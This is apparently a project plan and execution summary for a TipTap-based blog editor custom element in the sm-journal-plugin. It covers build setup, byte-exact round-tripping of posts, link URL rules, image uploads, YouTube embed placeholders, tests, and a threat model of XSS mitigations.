<files>../sm-journal-plugin/.gitignore, ../sm-journal-plugin/package.json, ../sm-journal-plugin/package-lock.json, ../sm-journal-plugin/tsconfig.json, ../sm-journal-plugin/vite.config.ts, ../sm-journal-plugin/scripts/check-dist.sh, ../sm-journal-plugin/assets/src/blogeditor/index.ts, ../sm-journal-plugin/assets/src/blogeditor/element.ts, ../sm-journal-plugin/assets/src/blogeditor/blogeditor.css, ../sm-journal-plugin/assets/dist/blogeditor.js, ../sm-journal-plugin/assets/dist/blogeditor.css, ../sm-journal-plugin/tests/blogeditor/fixtures/imported-post.html, ../sm-journal-plugin/tests/blogeditor/smoke.test.ts, ../sm-journal-plugin/admin.go</files>
|
||||
<read_first>../sm-journal-plugin/admin.go (the //go:embed list), ../sm-journal-plugin/plugin_test.go (AdminFS assertions), ../summercms.go/admin/package.json (toolchain pins), ../summercms.go/admin/vitest.config.ts, ../summercms.go/scripts/check-admin-dist.sh (drift gate to mirror), ../summercms.go/admin/src/components/form/fields/WidgetField.vue (header comment: element rules), ../summercms.go/modules/cabana/README.md (section "Partial style kit and plugin CSS variables": the --c-* names), ../summercms.go/modules/boardwalk/boardwalk.go (admin CSP, line 32), /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/journal-export/ekstrakt-z-turkey-tail.json (fixture source: its content field, markdown with the author footer and style), .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-RESEARCH.md (Patterns 3, 5, 8; Pitfalls 1-4; Code Example 3)</read_first>
|
||||
<action>Make the element exist end to end before any schema work (per D-16, D-13, D-03).
|
||||
|
||||
Setup (D-16): in ../sm-journal-plugin add .gitignore with node_modules/; a private ESM package.json ("type": "module", engines node >=22.6) with exact pins: dependencies @tiptap/core, @tiptap/pm, @tiptap/starter-kit, @tiptap/extension-table, @tiptap/extension-image at the version Task 1 approved; devDependencies vite 7.3.5, vitest 3.2.7, happy-dom 20.11.6, typescript 5.9.3; scripts typecheck ("tsc --noEmit"), build ("vite build"; run typecheck before it), test ("vitest run"). Install with npm install --save-exact and commit package-lock.json. tsconfig.json: strict, ES2022, moduleResolution bundler, DOM lib, include assets/src and tests. vite.config.ts: library mode with entry assets/src/blogeditor/index.ts, formats ['es'], fixed output names blogeditor.js and blogeditor.css (no content hash; cabana adds ?v=), outDir assets/dist, emptyOutDir true, plus the vitest block (environment happy-dom, include tests/**/*.test.ts). scripts/check-dist.sh mirrors scripts/check-admin-dist.sh: set -euo pipefail, npm ci when node_modules is missing, npm run typecheck, vite build into a temp dir, diff -r against assets/dist, message "check-dist: assets/dist is stale; run npm run build and commit assets/dist".
|
||||
|
||||
Element (D-13, D-03): assets/src/blogeditor/element.ts defines BlogEditorElement (light DOM). connectedCallback builds a toolbar row with a WYSIWYG and a Source tab, the ProseMirror mount and a hidden textarea; the TipTap Editor uses injectCSS false, StarterKit configured with trailingNode false and link: HTMLAttributes target, rel and class all null, openOnClick false (Pitfalls 2 and 3), and content from the current value; disconnectedCallback destroys the editor. The value getter and setter follow the interfaces skeleton: the exact served string is returned until a user-originated docChanged transaction or a textarea input; initial and external content goes in through the content option or setContent with emitUpdate false (Pitfall 4); summer-change is dispatched with detail.value on each user edit only. Source tab: the textarea shows exactly this.value; typing there makes the value the exact textarea text (dirty) and dispatches summer-change; switching back re-parses only when the text changed, and the value stays the textarea text until the next WYSIWYG edit. Attributes: disabled makes the editor and textarea read-only; invalid sets aria-invalid. index.ts imports the CSS and defines the tag golem15-journal-blogeditor once (customElements.get guard). blogeditor.css carries the ProseMirror base rules TipTap would have injected plus layout, all selectors under golem15-journal-blogeditor and colours only from var(--c-...) names listed in the cabana README.
|
||||
|
||||
Fixture: tests/blogeditor/fixtures/imported-post.html holds the pl content_html of the export post ekstrakt-z-turkey-tail (rendered markdown, the author footer with itemscope, itemprop and span style, and the style block), plus appended sample blocks that the export lacks: a table with thead, a figure with img and figcaption, a link with target and rel, and a paragraph whose double quotes are written as the named quot entity (the 17-of-100 entity case from RESEARCH Pattern 3). It deliberately keeps legacy markup that the server policy strips (the style block, target, rel): the element must return it byte for byte; stripping is the server's job on an edited save (D-10). The live post 64 on UAT no longer has the style block in content_html (re-saved in 16.1); the local export still does, which is why the fixture comes from the export.
|
||||
|
||||
Smoke: tests/blogeditor/smoke.test.ts (happy-dom): importing index.ts defines the tag; setting value to the fixture and reading value returns the identical string; no summer-change fires on set or on an echo set; a simulated user insertText fires exactly one summer-change whose detail.value equals element.value; the source tab textarea shows the exact value.
|
||||
|
||||
Build and embed: npm run build, commit assets/dist/blogeditor.js and blogeditor.css. Add "//go:embed assets/dist/blogeditor.js assets/dist/blogeditor.css" to the adminFS embed list in admin.go. Commits: "build(editor): blog editor JS build and drift gate" (package files, configs, script, .gitignore), "feat(editor): blog editor element with exact untouched value" (source, tests, dist, admin.go).</action>
|
||||
<verify>
|
||||
<automated>../sm-journal-plugin/node_modules/.bin/vitest run --root ../sm-journal-plugin tests/blogeditor/smoke.test.ts && bash ../sm-journal-plugin/scripts/check-dist.sh && go -C ../sm-journal-plugin vet ./... && go -C ../sm-journal-plugin test -count=1 ./classes/ ./controllers/...</automated>
|
||||
<fails_when>Non-zero exit: a smoke case fails (the untouched value differs from the fixture, or summer-change fires without an edit), check-dist prints "check-dist: assets/dist is stale", go vet fails (for example the embed pattern matches no file), or the classes or controllers tests fail.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -c "golem15-journal-blogeditor" ../sm-journal-plugin/assets/dist/blogeditor.js` prints a number of at least 1.
|
||||
- `grep -n "assets/dist/blogeditor.js" ../sm-journal-plugin/admin.go` prints one line.
|
||||
- `git -C ../sm-journal-plugin check-ignore node_modules` prints node_modules.
|
||||
- `grep -cE "eval\(|new Function\(" ../sm-journal-plugin/assets/dist/blogeditor.js` prints 0 (admin CSP script-src 'self'; the bundle is minified and has no comments to filter).
|
||||
- smoke.test.ts passes its four cases on the imported-post fixture.
|
||||
</acceptance_criteria>
|
||||
<done>The element is built, committed and embedded; an untouched imported post round-trips byte for byte and only user edits emit summer-change.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto" tdd="true">
|
||||
<name>Task 3: Expansion: preservation schema and serializer, toolbar features, image upload and YouTube embeds</name>
|
||||
<reversibility rating="costly">D-05: the embed placeholder markup becomes stored content in live posts and the layer's renderer depends on it; changing it later needs a content migration and a layer release.</reversibility>
|
||||
<files>../sm-journal-plugin/assets/src/blogeditor/extensions.ts, ../sm-journal-plugin/assets/src/blogeditor/serializer.ts, ../sm-journal-plugin/assets/src/blogeditor/toolbar.ts, ../sm-journal-plugin/assets/src/blogeditor/embed.ts, ../sm-journal-plugin/assets/src/blogeditor/labels.ts, ../sm-journal-plugin/assets/src/blogeditor/element.ts, ../sm-journal-plugin/assets/src/blogeditor/blogeditor.css, ../sm-journal-plugin/assets/dist/blogeditor.js, ../sm-journal-plugin/assets/dist/blogeditor.css, ../sm-journal-plugin/tests/blogeditor/smoke.test.ts, ../sm-journal-plugin/tests/blogeditor/corpus.test.ts, ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json, ../sm-journal-plugin/README.md</files>
|
||||
<read_first>../sm-journal-plugin/assets/src/blogeditor/element.ts (Task 2 state), ../sm-journal-plugin/tests/blogeditor/smoke.test.ts, ../sm-journal-plugin/tests/blogeditor/fixtures/imported-post.html, ../sm-journal-plugin/node_modules/@tiptap/starter-kit/src/starter-kit.ts (option names), ../sm-journal-plugin/node_modules/@tiptap/extension-table/src (TableKit and renderHTML), ../sm-journal-plugin/node_modules/@tiptap/extension-image/src/image.ts, ../sm-journal-plugin/node_modules/@tiptap/extension-link/src/link.ts (isAllowedUri, HTMLAttributes), the installed OrderedList source (../sm-journal-plugin/node_modules/@tiptap/extension-list/src in TipTap 3, or the package StarterKit imports it from: the start attribute and its input rule), ../sm-journal-plugin/classes/format_html.go (newHTMLPolicy, SanitizeHTML: what the server keeps), ../vue-journal-layer/app/utils/htmlGate.ts (allowedUrl: the URL rule to mirror), ../sm-journal-plugin/README.md, .planning/notes/journal-html-sanitizing-bluemonday.md, .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-RESEARCH.md (Pattern 4, Pitfalls 1-3, Security Domain; its CheckHTML text predates the bluemonday switch)</read_first>
|
||||
<behavior>
|
||||
- rawHtml: footer, section, aside, header, nav, details, style and div blocks, and a figure that is not exactly img plus optional figcaption, become one atomic block holding the outer HTML; its card shows the source as text (a rawHtml holding an img with an onerror attribute creates no img element in the editor DOM).
|
||||
- Global attributes: class, data-*, itemprop, style and other unmodelled attributes on paragraphs, headings, lists, list items, blockquotes, tables, cells, images and links survive a WYSIWYG edit elsewhere in the document; span with style or class survives as a mark.
|
||||
- Serializer: after editing one paragraph of the fixture, every other top-level block is byte-identical to the input; tables serialize without colgroup or min-width style, keep a leading header row in thead and do not wrap single-paragraph cell text in p; links keep their own target and rel and gain none; no trailing empty paragraph.
|
||||
- Embed: parseEmbedUrl accepts youtube.com/watch?v=, youtu.be/, youtube.com/shorts/ and youtube.com/embed/ URLs and returns the 11-character id; anything else returns null; the embed node renders exactly the placeholder in the interfaces block and round-trips unchanged; the editor shows a card, never an iframe.
|
||||
- Upload: picking or dropping an image dispatches summer-upload {id, file}; a matching summer-upload-result {id, url} opens the alt-and-caption form and inserts img (or figure with figcaption when a caption is given); {id, error} shows the error and inserts nothing; a non-matching id is ignored.
|
||||
- Links: isAllowedUri, the link input and isPolicyUrl accept only http, https, mailto and relative URLs; javascript:, vbscript:, data:, tel: and a scheme hidden by a tab or newline are refused; a created link has href only.
|
||||
- Corpus (D-05): corpus.test.ts builds each entry through editor commands (embed from a youtube.com URL; image without caption whose alt contains a colon, a question mark and double quotes; image with caption; 3x3 table with header row; links http, https, mailto and relative; headings 2 to 4; bullet list; ordered list; ordered list starting at 3; blockquote; bold, italic, strike, underline and inline code; code block; horizontal rule; hard break; one document combining all of them) and compares each serialized value with editor-corpus.json; with UPDATE_CORPUS=1 it rewrites the file instead.
|
||||
</behavior>
|
||||
<action>Make edited documents keep as much markup as possible and add the D-04 features (per D-03, D-04, D-05, D-18; RESEARCH Pattern 4).
|
||||
|
||||
extensions.ts exports preservationExtensions(): StarterKit as configured in Task 2, with Link's isAllowedUri replaced by isPolicyUrl (also exported): the URL is accepted when, after removing ASCII control characters, spaces and DEL, it has no scheme (relative, including # and ?) or its scheme is http, https or mailto (the rule both sanitizer policies apply; see allowedUrl in the layer's htmlGate.ts); Image with inline true and allowBase64 false; TableKit with a renderHTML override that emits no colgroup and no min-width style; node rawHtml (atom, group block, low priority, parse rules for footer, section, aside, header, nav, details, style and div and the non-matching figure case, attribute html holding the outer HTML, node view showing a non-editable card with the source as textContent and an "edit as HTML" action that switches to the Source tab); node figure (content image then optional figcaption, getAttrs returns false for any other figure shape) and node figcaption; node embed (atom, parse rule figure[data-embed] at a higher priority than figure, attributes provider and id, renderHTML exactly the placeholder with data-embed before data-id, a card node view with the provider name and id, no iframe); mark span (parse span with any attribute, render back); extension htmlAttributes using addGlobalAttributes over the modelled node and mark types with one attribute that captures every attribute the node does not model and renders it back.
|
||||
|
||||
serializer.ts exports captureBlocks(html, schema), which at load parses each top-level child of the original HTML alone and records the resulting nodes with their exact outer HTML and the text between blocks, and serializeDocument(editor, blocks), which walks the top-level nodes, emits the recorded original text for every run of nodes still equal (Node.eq) to the captured ones, emits rawHtml nodes verbatim, and serializes the rest with DOMSerializer.fromSchema plus the table and cell rules above. element.ts uses serializeDocument for the dirty value; editor.getHTML() is never the stored value.
|
||||
|
||||
embed.ts exports EMBED_PROVIDERS (one entry: youtube, id pattern ^[A-Za-z0-9_-]{11}$) and parseEmbedUrl(url). labels.ts exports labelsFor(uiLocale) with en and pl tables for every toolbar label, prompt and error (fallback en). toolbar.ts builds the toolbar: paragraph and headings 2 to 4, bold, italic, bullet list, ordered list, link (inline URL input, empty removes the link), blockquote, table (insert 3x3 with header row, add or delete row and column, delete table), image (file picker with accept image/jpeg, image/png, image/gif, image/webp), embed (inline URL input through parseEmbedUrl, error label for an unsupported URL), raw HTML block (inserts an empty rawHtml and opens Source), undo, redo, and the WYSIWYG/Source tabs.
|
||||
|
||||
Uploads in element.ts (D-18): files from the picker or a drop of image files are each sent as summer-upload with a fresh id (crypto.randomUUID); the element waits for summer-upload-result with that id (timeout 60 s ends in the error label), then shows an inline form with alt text (required) and caption (optional), and inserts img with src and alt, or figure with img and figcaption when the caption is set. Errors appear in an aria-live status line inside the element. Pasted base64 images are dropped (allowBase64 false).
|
||||
|
||||
Corpus (D-05): new tests/blogeditor/corpus.test.ts builds the entries listed in the behavior block on happy-dom through editor commands only (insertContent of HTML is not used, so each entry is what the toolbar and input rules produce), serializes each with serializeDocument, and compares the array of {name, html} with tests/blogeditor/fixtures/editor-corpus.json; with UPDATE_CORPUS=1 it writes the file (two-space JSON, trailing newline). Generate and commit the file. The corpus must hold no iframe, no on* attribute, no target or rel, no style attribute and no URL outside isPolicyUrl; the test asserts that too. Plans 03 and 04 consume this file, so its entry names stay stable once committed.
|
||||
|
||||
Tests: extend tests/blogeditor/smoke.test.ts with one case per remaining behavior bullet (all on happy-dom, the fixture and small inline samples). Rebuild assets/dist with npm run build. README.md: a "Blog Editor" section covering the element, the JS build (npm ci, npm run build, scripts/check-dist.sh), the embed placeholder, the link URL rule, the policy corpus (UPDATE_CORPUS=1 to regenerate; plans 03 and 04 check it against the Go policy and the layer) and the upload flow. Commit as feat(editor) with the dist, the corpus and README, staged by explicit path.</action>
|
||||
<verify>
|
||||
<automated>../sm-journal-plugin/node_modules/.bin/tsc --noEmit -p ../sm-journal-plugin && ../sm-journal-plugin/node_modules/.bin/vitest run --root ../sm-journal-plugin && bash ../sm-journal-plugin/scripts/check-dist.sh && go -C ../sm-journal-plugin vet ./...</automated>
|
||||
<fails_when>Non-zero exit: tsc reports a type error, any vitest case fails (untouched round trip, block reuse, rawHtml text card, attribute preservation, tables, links and the URL rule, embed parsing and round trip, upload flow, or the corpus differing from the editor's output), check-dist prints "check-dist: assets/dist is stale", or go vet fails.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -n "export function serializeDocument" ../sm-journal-plugin/assets/src/blogeditor/serializer.ts`, `grep -n "export function parseEmbedUrl" ../sm-journal-plugin/assets/src/blogeditor/embed.ts` and `grep -n "export function isPolicyUrl" ../sm-journal-plugin/assets/src/blogeditor/extensions.ts` each print one line.
|
||||
- ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json parses as JSON, holds at least 15 entries including one whose html contains `data-embed="youtube"`, one with `<figcaption>`, one with `<table>` and one with `start="3"`, and `grep -cE '<iframe|target=|rel=| on[a-z]+=|style=' ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json` prints 0.
|
||||
- The vitest run reports every case passing, including the block-reuse case (only the edited paragraph differs) and the embed round trip producing the exact placeholder.
|
||||
- `grep -c "data-embed" ../sm-journal-plugin/assets/dist/blogeditor.js` prints at least 1, and the dist matches a fresh build (check-dist passes).
|
||||
- `grep -oE 'summer-(upload-result|upload|change)' ../sm-journal-plugin/assets/dist/blogeditor.js | sort -u | wc -l` prints 3 (the bundle uses all three fixed element contract event names shared with plan 01).
|
||||
- README.md has a "Blog Editor" heading.
|
||||
</acceptance_criteria>
|
||||
<done>Edited documents keep unknown markup and unedited blocks, the toolbar covers text, links, tables, images, embeds and raw HTML, images upload through the SPA contract, and the editor's own output is committed as the policy corpus that plans 03 and 04 test.</done>
|
||||
</task>
|
||||
|
||||
</tasks>
|
||||
|
||||
<threat_model>
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description |
|
||||
|----------|-------------|
|
||||
| stored post HTML → admin editor DOM | imported or previously saved HTML is parsed into the editor inside the admin origin |
|
||||
| editor → SPA (events) | the element hands files and values to the SPA; the SPA owns the session |
|
||||
| npm registry → plugin build | the editor packages enter the committed bundle |
|
||||
|
||||
## STRIDE Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|
||||
|-----------|----------|-----------|----------|-------------|-----------------|
|
||||
| T-16.2-09 | Elevation of Privilege (admin XSS) | rawHtml node view | high | mitigate | The card renders the stored source with textContent, never innerHTML; ProseMirror parses through the schema, so script is never a node; a test asserts a rawHtml with an onerror attribute creates no img element in the editor DOM |
|
||||
| T-16.2-10 | Tampering (stored XSS) | Source tab and pasted HTML | high | mitigate | The element does not try to sanitize; every saved value goes through classes.SanitizeHTML in the plan 03 Decode on every locale (D-10 amended: strip, never refuse), the save names what was removed and the SPA puts the stored value back into the element; the layer sanitizes again before v-html |
|
||||
| T-16.2-11 | Tampering | link mark | medium | mitigate | isAllowedUri is replaced by isPolicyUrl (http, https, mailto, relative only, scheme read after removing control characters and spaces), the same rule both sanitizer policies apply; tests cover javascript:, data:, tel: and a tab-split scheme |
|
||||
| T-16.2-12 | Elevation of Privilege | bundle under the admin CSP | medium | mitigate | No eval or new Function in the bundle (grep gate), injectCSS false, styles in blogeditor.css under the element tag |
|
||||
| T-16.2-13 | Information Disclosure | uploads | high | mitigate | The element only dispatches summer-upload with a File; the SPA posts it with its own session to the cabana route; the element never receives or sends credentials |
|
||||
| T-16.2-SC | Tampering | npm installs (@tiptap/*) | high | mitigate | Blocking human package check (Task 1, never auto-approved) before the first install; exact version pins and a committed package-lock.json; check-dist rebuilds from the lockfile |
|
||||
</threat_model>
|
||||
|
||||
<verification>
|
||||
- Task 1: registry report printed and a human approved the packages.
|
||||
- Task 2: smoke tests, check-dist, go vet and the classes and controllers tests pass.
|
||||
- Task 3: typecheck, the full vitest suite, check-dist and go vet pass.
|
||||
</verification>
|
||||
|
||||
<success_criteria>
|
||||
- D-01, D-03 (client half), D-04, D-05 (editor half, including the committed policy corpus), D-13 (element half), D-16 and D-18 (editor half) delivered in sm-journal-plugin with a committed, embedded bundle and a drift gate.
|
||||
</success_criteria>
|
||||
|
||||
<output>
|
||||
Create `.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-02-SUMMARY.md` when done, with the package report, the human reply, the installed versions, the commit hashes and the bundle size.
|
||||
</output>
|
||||
@@ -0,0 +1,298 @@
|
||||
---
|
||||
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
|
||||
plan: 02
|
||||
subsystem: journal-admin-editor
|
||||
tags: [sm-journal-plugin, tiptap, prosemirror, custom-elements, vite, vitest, blog-editor, embeds, uploads]
|
||||
|
||||
requires:
|
||||
- phase: 16.2-01
|
||||
provides: the field type element contract (value property, attributes, summer-change, summer-upload, summer-upload-result) and the SPA host that loads plugin field type scripts as module scripts
|
||||
provides:
|
||||
- custom element golem15-journal-blogeditor (BlogEditorElement), committed bundle assets/dist/blogeditor.js and blogeditor.css embedded through admin.go
|
||||
- preservationExtensions, isPolicyUrl, RawHtml, Embed, Figure, FigureImage, Figcaption, Span, HtmlAttributes (extensions.ts)
|
||||
- serializeDocument and captureBlocks (serializer.ts), parseEmbedUrl and EMBED_PROVIDERS (embed.ts), labelsFor (labels.ts), buildToolbar (toolbar.ts)
|
||||
- tests/blogeditor/fixtures/editor-corpus.json, the editor's own output for the plan 03 Go policy test and the plan 04 layer copy
|
||||
- sm-journal-plugin JS build (package.json, package-lock.json, vite.config.ts, tsconfig.json) and the scripts/check-dist.sh drift gate
|
||||
affects: [16.2-03, 16.2-04, 16.2-05, 16.2-06, journal]
|
||||
|
||||
actuals:
|
||||
tokens: 29500
|
||||
tasks: 2
|
||||
commits: 3
|
||||
plan_head_before: c60abc6d6220d5f9f15659d1cc5ec7d8dd1f5020
|
||||
plan_head_after: 086e485
|
||||
commits_repo: ../sm-journal-plugin
|
||||
|
||||
tech-stack:
|
||||
added:
|
||||
- "@tiptap/core 3.31.4"
|
||||
- "@tiptap/pm 3.31.4"
|
||||
- "@tiptap/starter-kit 3.31.4"
|
||||
- "@tiptap/extension-table 3.31.4"
|
||||
- "@tiptap/extension-image 3.31.4"
|
||||
- "vite 7.3.5, vitest 3.2.7, happy-dom 20.11.6, typescript 5.9.3 (dev, same pins as the admin SPA)"
|
||||
patterns:
|
||||
- "Untouched value: the element returns the exact served string until a user-originated docChanged transaction or a Source tab input"
|
||||
- "Top-level block reuse: the original HTML is split by source position, each piece parsed alone, and runs of nodes still Node.eq to the captured ones are emitted as their original bytes (LCS alignment after prefix/suffix trimming)"
|
||||
- "Stored HTML never reaches the live admin DOM: raw blocks are text cards, serializer and raw renderHTML work in an inert document, on* attributes are never captured"
|
||||
- "Committed, minified plugin bundle with a temp-dir rebuild and diff -r drift gate"
|
||||
|
||||
key-files:
|
||||
created:
|
||||
- ../sm-journal-plugin/.gitignore
|
||||
- ../sm-journal-plugin/package.json
|
||||
- ../sm-journal-plugin/package-lock.json
|
||||
- ../sm-journal-plugin/tsconfig.json
|
||||
- ../sm-journal-plugin/vite.config.ts
|
||||
- ../sm-journal-plugin/scripts/check-dist.sh
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/index.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/element.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/extensions.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/serializer.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/toolbar.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/embed.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/labels.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/blogeditor.css
|
||||
- ../sm-journal-plugin/assets/dist/blogeditor.js
|
||||
- ../sm-journal-plugin/assets/dist/blogeditor.css
|
||||
- ../sm-journal-plugin/tests/blogeditor/fixtures/imported-post.html
|
||||
- ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json
|
||||
- ../sm-journal-plugin/tests/blogeditor/helpers.ts
|
||||
- ../sm-journal-plugin/tests/blogeditor/smoke.test.ts
|
||||
- ../sm-journal-plugin/tests/blogeditor/corpus.test.ts
|
||||
modified:
|
||||
- ../sm-journal-plugin/admin.go
|
||||
- ../sm-journal-plugin/plugin_test.go
|
||||
- ../sm-journal-plugin/README.md
|
||||
|
||||
key-decisions:
|
||||
- "TipTap 3.31.4 pinned exactly for all five editor packages after the human package check (reply: packages approved)"
|
||||
- "The bundle is built through Vite's application pipeline with a single ES entry, fixed names and preserved exports, not build.lib: library mode never minifies whitespace in ES output (587 KB vs 466 KB)"
|
||||
- "Images are inline (Image inline: true), so an uncaptioned image is <p><img src alt></p>; a captioned one is <figure><img><figcaption></figure> through a block figureImage node"
|
||||
- "Link parsing, rendering and commands all use isPolicyUrl: a stored link with another scheme (tel:, ftp:) keeps its text but loses the link when its block is edited, the same result the server policy gives on an edited save"
|
||||
- "Raw HTML cards cover the plan's tags plus article, main, address, dl, iframe, video, audio, picture, object, embed, form, svg, math, script and noscript, so more stored markup survives an edit; the server still strips what its policy does not allow"
|
||||
- "Event handler attributes (on*) are never captured by the global attribute map, so they never reach the live admin DOM"
|
||||
- "External values (value setter, Source tab re-parse) are loaded outside the undo history"
|
||||
|
||||
patterns-established:
|
||||
- "Plugin-owned JS build: package.json with exact pins, committed lockfile, committed dist, scripts/check-dist.sh"
|
||||
- "Editor corpus: entries built only through editor commands and typing, committed as JSON, rewritten with UPDATE_CORPUS=1"
|
||||
|
||||
requirements-completed: [D-01, D-03, D-04, D-05, D-13, D-16, D-18]
|
||||
|
||||
coverage:
|
||||
- id: D1
|
||||
description: "Element defined once; untouched imported post returns byte for byte; no summer-change on set or echo; one summer-change per user edit; Source tab shows and edits the exact string; disabled and invalid; value kept across detach"
|
||||
requirement: D-03
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "../sm-journal-plugin/tests/blogeditor/smoke.test.ts#blog editor element (tracer)"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D2
|
||||
description: "Raw HTML cards (text only, no live img/script), unmodelled attributes and spans kept on edited blocks, block reuse leaves every other top-level block byte-identical (and undo restores the exact fixture), tables with thead and bare cell text, links keep target/rel and gain none, no trailing paragraph"
|
||||
requirement: D-04
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "../sm-journal-plugin/tests/blogeditor/smoke.test.ts#preservation schema"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D3
|
||||
description: "parseEmbedUrl accepts watch?v=, youtu.be/, shorts/, embed/ and refuses everything else; the embed node renders exactly the placeholder, shows a card and never an iframe; a malformed placeholder stays raw HTML; toolbar URL input"
|
||||
requirement: D-05
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "../sm-journal-plugin/tests/blogeditor/smoke.test.ts#embeds"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D4
|
||||
description: "Picker and drop send summer-upload {id, file}; summer-upload-result {id, url} opens the alt/caption form and inserts img or figure; {id, error} and the 60 s timeout show the error and insert nothing; non-matching ids are ignored"
|
||||
requirement: D-18
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "../sm-journal-plugin/tests/blogeditor/smoke.test.ts#image uploads"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D5
|
||||
description: "isPolicyUrl, setLink and the link input accept only http, https, mailto and relative URLs; javascript:, vbscript:, data:, tel: and tab/newline-split schemes are refused; created links have href only"
|
||||
requirement: D-05
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "../sm-journal-plugin/tests/blogeditor/smoke.test.ts#links and the URL rule"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D6
|
||||
description: "Toolbar offers every D-04 feature, en and pl labels, formatting, undo/redo and table editing, raw HTML block opens Source at the insert, raw card opens its source"
|
||||
requirement: D-13
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "../sm-journal-plugin/tests/blogeditor/smoke.test.ts#toolbar"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D7
|
||||
description: "editor-corpus.json (15 entries) equals a fresh build through editor commands and holds no iframe, handler, target, rel or style and only policy URLs"
|
||||
requirement: D-05
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: "../sm-journal-plugin/tests/blogeditor/corpus.test.ts"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D8
|
||||
description: "Committed bundle matches a fresh build, is embedded, has no eval/new Function; go vet clean"
|
||||
requirement: D-16
|
||||
verification:
|
||||
- kind: other
|
||||
ref: "bash ../sm-journal-plugin/scripts/check-dist.sh && go -C ../sm-journal-plugin vet ./..."
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D9
|
||||
description: "The element in the real admin SPA: typing, selection, toolbar, drag and drop, uploads through the cabana route, CSS in light and dark mode"
|
||||
verification: []
|
||||
human_judgment: true
|
||||
rationale: "happy-dom covers the logic, not browser selection or layout; plan 03 registers the field type and plan 05/06 run the UAT browser check"
|
||||
|
||||
duration: 25min
|
||||
completed: 2026-10-10
|
||||
status: complete
|
||||
---
|
||||
|
||||
# Phase 16.2 Plan 02: Blog Editor element Summary
|
||||
|
||||
**`golem15-journal-blogeditor`, a TipTap 3.31.4 WYSIWYG editor with an exact-HTML Source tab, returns an untouched imported post byte for byte and, after an edit, keeps every unedited top-level block's original bytes; it ships raw HTML cards, figures, YouTube embed placeholders, policy-only links, SPA-mediated image uploads, a committed policy corpus and a minified bundle embedded in sm-journal-plugin with a drift gate.**
|
||||
|
||||
## Performance
|
||||
|
||||
- **Duration:** about 25 min
|
||||
- **Started:** 2026-10-10T09:31:47Z
|
||||
- **Completed:** 2026-10-10T09:56Z
|
||||
- **Tasks:** 3 (Task 1 resolved by the orchestrator, Tasks 2 and 3 executed)
|
||||
- **Files:** 24 in sm-journal-plugin (21 created, 3 modified)
|
||||
|
||||
## Task 1 checkpoint (resolved): package report
|
||||
|
||||
The orchestrator ran the plan's registry verify command for the five editor packages at 3.31.4. Result: `registry-ok`.
|
||||
|
||||
| Package | Version | License | Repository | Install scripts |
|
||||
|---------|---------|---------|------------|-----------------|
|
||||
| @tiptap/core | 3.31.4 | MIT | https://github.com/ueberdosis/tiptap | none |
|
||||
| @tiptap/pm | 3.31.4 | MIT | https://github.com/ueberdosis/tiptap | none |
|
||||
| @tiptap/starter-kit | 3.31.4 | MIT | https://github.com/ueberdosis/tiptap | none |
|
||||
| @tiptap/extension-table | 3.31.4 | MIT | https://github.com/ueberdosis/tiptap | none |
|
||||
| @tiptap/extension-image | 3.31.4 | MIT | https://github.com/ueberdosis/tiptap | none |
|
||||
|
||||
Maintainers are on the tiptap.dev and ueber.io domains plus tiptap-bot; 3.31.4 is the current `latest` dist-tag.
|
||||
|
||||
Human reply, verbatim:
|
||||
|
||||
> packages approved
|
||||
|
||||
Version Task 2 installed: **3.31.4**, pinned exactly (`npm install --save-exact`) for all five packages. Installed devDependencies: vite 7.3.5, vitest 3.2.7, happy-dom 20.11.6, typescript 5.9.3. npm 12 blocked esbuild 0.27.7's `postinstall` (not in `allowScripts`); esbuild works without it through its optional platform package `@esbuild/linux-x64`, so no script was approved.
|
||||
|
||||
## Accomplishments
|
||||
|
||||
- **Build (D-16):** private ESM `package.json` with exact pins and a committed `package-lock.json`; `vite.config.ts` builds `assets/src/blogeditor/index.ts` into `assets/dist/blogeditor.js` and `blogeditor.css` (fixed names, minified, exports kept) and configures vitest on happy-dom; `scripts/check-dist.sh` rebuilds into a temp dir and fails with `check-dist: assets/dist is stale; run npm run build and commit assets/dist`; `node_modules/` ignored; `admin.go` embeds both files.
|
||||
